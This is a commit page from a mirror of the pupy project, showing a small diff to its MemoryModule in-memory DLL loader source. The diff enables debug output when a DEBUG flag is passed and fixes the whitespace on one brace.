mirror of https://github.com/n1nj4sec/pupy.git
Enable MemoryModule debug output if /DDEBUG passed
This commit is contained in:
parent
2a2e6d949f
commit
ac73116fa3
|
@ -23,6 +23,11 @@
|
|||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef DEBUG
|
||||
#define DEBUG_OUTPUT
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
#include <winnt.h>
|
||||
#include <stddef.h>
|
||||
|
@ -512,7 +517,7 @@ HMEMORYMODULE MemoryLoadLibraryEx(const void *data,
|
|||
int (WINAPI *GetNativeSystemInfo) (SYSTEM_INFO *systemInfo);
|
||||
GetNativeSystemInfo = (void *) GetProcAddress (hModule, "GetNativeSystemInfo");
|
||||
GetNativeSystemInfo(&sysInfo);
|
||||
}
|
||||
}
|
||||
result->pageSize = sysInfo.dwPageSize;
|
||||
|
||||
// commit memory for headers
|
||||
|
|
Loading…
Reference in New Issue